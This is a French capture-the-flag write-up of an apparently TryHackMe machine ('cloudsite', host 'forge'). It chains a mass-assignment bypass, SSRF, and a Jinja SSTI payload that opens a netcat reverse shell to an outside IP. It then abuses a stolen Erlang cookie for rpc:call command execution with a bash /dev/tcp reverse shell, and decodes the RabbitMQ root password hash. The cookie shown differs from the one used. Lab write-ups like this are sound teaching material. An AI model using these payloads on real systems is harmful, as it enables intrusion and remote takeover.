Enumération initiale

On commence par un scan nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PORT      STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3f:da:55:0b:b3:a9:3b:09:5f:b1:db:53:5e:0b:ef:e2 (ECDSA)
|_ 256 b7:d3:2e:a7:08:91:66:6b:30:d2:0c:f7:90:cf:9a:f4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://cloudsite.thm/
|_http-server-header: Apache/2.4.52 (Ubuntu)
4369/tcp open epmd Erlang Port Mapper Daemon
| epmd-info:
| epmd_port: 4369
| nodes:
|_ rabbit: 25672
25672/tcp open unknown
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

On voit qu’il y’a 4 ports ouverts :

  • 22 (SSH)
  • 80 (HTTP)
  • 4369 (EPMD)
  • 25672 (Erlang Distribution)

Le scan nmap nous indique que le port 80 redirige vers http://cloudsite.thm donc on ajoute cloudsite.thm à notre fichier hosts ce qui nous permet d’accéder au site web.

En testant les différentes fonctionnalités du site, on s’aperçoit que le bouton permettant de se connecter nous rediriger vers http://storage.cloudsite.thm/. Ainsi, pour y accéder, on ajoute ce sous domaine au fichier hosts ce qui nous permet d’accéder à une page d’authentification.

Accès privilégié à l’interface web

Après avoir créer un faux compte, on obtient une page nous indiquant que le service n’est accessible que pour les utilisateurs internes.

En analysant les cookies, on découvre un token JWT.

Le décodage du token permet de voir que pour accéder à l’application, il faut que le champ soit subscription contienne ‘active’.


Malheureusement, après avoir tester les attaques les plus connus sur les jwt, aucune ne fonctionne et on ne peut pas accéder à l’application de cette manière.

En revanche, lors de la création d’un compte, on remarque que l’envoie des données et envoyé en clair et correspond exactement à certains champs du payload du token JWT.

On peut alors tenter de faire une attaque de type Mass Assignement. Ce type d’attaque se produit lorsqu’une application ne filtre pas correctement les données reçues depuis le client et accepte des champs supplémentaires non prévus. Lors d’une inscription classique, l’utilisateur envoie généralement son email et son mot de passe. Cependant, si le serveur mappe automatiquement l’intégralité du contenu reçu dans son objet interne sans vérifier les champs autorisés, un attaquant peut injecter des champs supplémentaires.
Ainsi, dans notre cas on peut ajouter "subscription": "active" dans la requête d’inscription ce qui permet de contourner la protection actuellement mise en place. Cette faille est fréquente lorsque les frameworks réalisent automatiquement le binding des données JSON (comme Node.js, Ruby on Rails, Django, etc…) sans restreindre explicitement la liste des champs modifiables.

La modification des champs d’un utilisateur de la façon présentée précédemment permet d’accéder au site de façon complète.

API Docs via SSRF

Après s’être fait passé pour un utilisateur interne, on tombe sur une interface d’upload. Cette dernière permet d’uploader un fichier sur le site web directement en uploadant un fichier sur le site ou en le récupérant depuis une URL.

On peut alors tenter d’accéder à certains endpoint de l’api en exploitant une potientiele SSRF avec l’upload par URL. Pour ce faire, on commence par énumérer les différents endpoint de l’api:

1
ffuf -w /usr/share/wordlists/dirb/big.txt -u 'http://storage.cloudsite.thm/api/FUZZ'

Comme on a pas accès directement aux endpoints et en particulier à la documentation, on peut essayer d’y accéder en exploitant l’upload de file par URL. Comme le port utilisé par l’API n’est généralement pas le même que celui utilisé par le front, il faut d’abord trouvé le port utilisé par l’API. Pour réaliser cela, on peut faire un script qui indique si un port est ouvert ou non en local en se basant sur la génération d’un url pour accéder au fichier ou non lors de l’upload par url avec 127.0.0.1.
Ainsi, en laissant tourner le script, on trouve que le port 3000 est ouvert en local (on pouvait aussi le deviner car l’application utilise express qui utilise le port 3000 par défaut)

On peut alors essayer d’accéder à l’endpoint docs de cette maniere :

Cela nous permet d’obtenir la documentation complète de l’API :

SSTI to RCE

Avec la documentation, on identifie l’endpoint fetch_messege_from_chatbot qui est en cours de développement. En essayant d’y accéder sans paramètre. Le serveur nous indique qu’un paramètre username est nécessaire au fonctionnement de l’endpoint.

En spécifiant un username, on voit que le message qui est renvoyé par le message semble être générique et peut laisser supposer que ce dernière utilise un template.

On teste alors certains payload pour vérifier la présence ou non d’une SSTI, et on voit qu’un des payload fonctionne bien car il est interprété.

Ainsi, on peut obtenir un reverse shell sur la machine qui utilise Jinga en envoyant le payload suivant :

1
2

{"username":"{{request.application.__globals__.__builtins__.__import__('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.21.110.163 4444 >/tmp/f').read()}}"}

Shell as rabbimq

Maintenant que l’on a obtenu un shell, on peut lire les différents fichiers sensibles de rabbitmq et en particulier le fichier .erlang.cookie et /etc/rabbitmq/rabbitmq-env.conf

1
2
3
azrael@forge:~/chatbotServer$ cat /var/lib/rabbitmq/.erlang.cookie
VJtHHgikreeZqhzlazrael@forge:~/chatbotServer$

1
2
3
4
5
6
7
8
9
10
11
12
13
14
azrael@forge:~$ cat /etc/rabbitmq/rabbitmq-env.conf
# Defaults to rabbit. This can be useful if you want to run more than one node
# per machine - RABBITMQ_NODENAME should be unique per erlang-node-and-machine
# combination. See the clustering on a single machine guide for details:
# http://www.rabbitmq.com/clustering.html#single-machine
#NODENAME=rabbit

# By default RabbitMQ will bind to all interfaces, on IPv4 and IPv6 if
# available. Set this if you only want to bind to one network interface or#
# address family.
#NODE_IP_ADDRESS=127.0.0.1

# Defaults to 5672.
#NODE_PORT=5672

Le fichier .erlang.cookie contient le cookie Erlang utilisé par les nœuds du cluster RabbitMQ pour s’authentifier entre eux. Ce cookie agit comme une clé secrète de session entre les nœuds distribués Erlang. En possession de ce cookie, il est possible de démarrer un shell Erlang avec la même clé de session et ainsi établir une communication directe avec le nœud rabbit@forge déjà existant. Grâce à cette authentification inter-nœuds, nous pouvons exécuter des commandes à distance sur le processus Erlang du serveur RabbitMQ en utilisant les fonctions internes comme net_adm:ping ou rpc:call.

Ainsi, en s’authentifier, on peut exécuter des commandes en tant que rabbitmq et récupérer un reverse shell.

1
2
3
4
5
6
7
8
9
10
11
12
azrael@forge:~$ erl -sname attacker -setcookie RsudLp8JbYOF9Lfm
Erlang/OTP 24 [erts-12.2.1] [source] [64-bit] [smp:2:2] [ds:2:2:10] [async-threads:1] [jit]

Eshell V12.2.1 (abort with ^G)
(attacker@forge)1> net_adm:ping('rabbit@forge').
pong
(attacker@forge)2> rpc:call('rabbit@forge', os, cmd, ["id"]).
"uid=124(rabbitmq) gid=131(rabbitmq) groups=131(rabbitmq)\n"
(attacker@forge)3>
(attacker@forge)3> rpc:call('rabbit@forge', os, cmd, ["bash -c 'bash -i >& /dev/tcp/10.21.110.163/4445 0>&1'"]).


Rabbitmq to root

Ensuite, afin d’identifier les comtes utilisateurs enregistrés dans RabbitMQ, on peut utiliser la commande rabbitmqctl list_users. Cette commande permet d’afficer la lsite des utilisateurs présents ainsi que leurs tags associés. Ici, cela permetd e découvrir l’existence d’un compte root.

1
2
3
4
5
6
rabbitmq@forge:~$ rabbitmqctl list_users
Listing users ...
user tags
The password for the root user is the SHA-256 hashed value of the RabbitMQ root user's password. Please don't attempt to crack SHA-256. []
root [administrator]

La petite notice nous indique que le mot de passe du compte root du serveur est égal au hash SHA-256 du mot de passe du compte root de RabbitMQ. Ainsi, pour récupérer ce mot de passe, on peut utiliser la commande suivante ce qui vas permettre d’exporter la configuration et d’obtenir un hash du mot de passe.

1
2
3
4
5
rabbitmq@forge:~$ rabbitmqctl export_definitions /tmp/rabbitmq_config.json
Exporting definitions in JSON to a file at "/tmp/rabbitmq_config.json" ...
rabbitmq@forge:~$ cat /tmp/rabbitmq_config.json
{"bindings":[],"exchanges":[],"global_parameters":[{"name":"cluster_name","value":"rabbit@forge"}],"parameters":[],"permissions":[{"configure":".*","read":".*","user":"root","vhost":"/","write":".*"}],"policies":[],"queues":[{"arguments":{},"auto_delete":false,"durable":true,"name":"tasks","type":"classic","vhost":"/"}],"rabbit_version":"3.9.13","rabbitmq_version":"3.9.13","topic_permissions":[{"exchange":"","read":".*","user":"root","vhost":"/","write":".*"}],"users":[{"hashing_algorithm":"rabbit_password_hashing_sha256","limits":{},"name":"The password for the root user is the SHA-256 hashed value of the RabbitMQ root user's password. Please don't attempt to crack SHA-256.","password_hash":"vyf4qvKLpShONYgEiNc6xT/5rLq+23A2RuuhEZ8N10kyN34K","tags":[]},{"hashing_algorithm":"rabbit_password_hashing_sha256","limits":{},"name":"root","password_hash":"49e6hSldHRaiYX329+ZjBSf/Lx67XEOz9uxhSBHtGU+YBzWF","tags":["administrator"]}],"vhosts":[{"limits":[],"metadata":{"description":"Default virtual host","tags":[]},"name":"/"}]}rabbitmq@forge:~$

D’après la documentation, RabbitMQ stocke les mots de passe de cette manière :

base64( 4bytes SALT + SHA-256 ( 4 bytes SALT + password))

Ainsi, pour obtenir le hash SHA-256 du mot de passe, il suffit de réaliser la transformation inverse avec la commande suivante :

1
2
3
4
5
6
7
┌──(kali㉿kali)-[/opt]
└─$ echo -n "49e6hSldHRaiYX329+ZjBSf/Lx67XEOz9uxhSBHtGU+YBzWF" | base64 -d | dd bs=1 skip=4 | xxd -p -c 100
32+0 records in
32+0 records out
32 bytes copied, 0.000172604 s, 185 kB/s
295d1d16a2617df6f7e6630527ff2f1ebb5c43b3f6ec614811ed194f98073585

Ce hash permet de compromettre le compte root :